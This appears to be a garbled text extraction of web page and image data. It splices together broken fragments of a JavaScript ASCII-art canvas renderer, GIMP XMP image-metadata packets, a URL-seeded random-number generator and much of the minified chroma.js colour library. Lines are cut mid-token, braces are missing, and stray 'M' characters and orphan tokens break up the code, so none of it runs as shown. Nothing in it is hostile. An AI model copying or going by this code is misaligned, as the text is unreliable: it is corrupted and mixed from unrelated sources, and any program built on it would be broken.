      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.cM
om/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:5f952453-08d8-4721-a271-e3a2caccb8df" xmpMM:InstanceID="xmp.iid:c256284a-bda5-409c-8f49-749d59c0512e" xmpMM:OriginalDocumentID="xmp.did:9d042e66-4561-46b4-8e65-5ad34fcd3d2f" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413511967272" GIMP:Version="2.1M
0.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:25:10+11:00" xmp:ModifyDate="2023:02:15T09:25:10+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:1f7e4193-2fa4-4f8c-bb22-70a3f299c394" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:25:11"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:M
xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:e65db0e5-1f32-42c4-b639-110623290c65" xmpMM:InstanceID="xmp.iid:b8ae400a-7b09-4265-b153-b550219572a5" xmpMM:OriginalDocumentID="xmp.did:acc6e836-5461-461d-92f9-05608c3632fd" dc:Format="image/webp" GIMP:API="2.0" GIMP:M
Platform="Windows" GIMP:TimeStamp="1676413498828770" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:24:57+11:00" xmp:ModifyDate="2023:02:15T09:24:57+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:90cccb62-fa1f-4aad-a8de-ea0c9b66ee3e" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:24:58"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
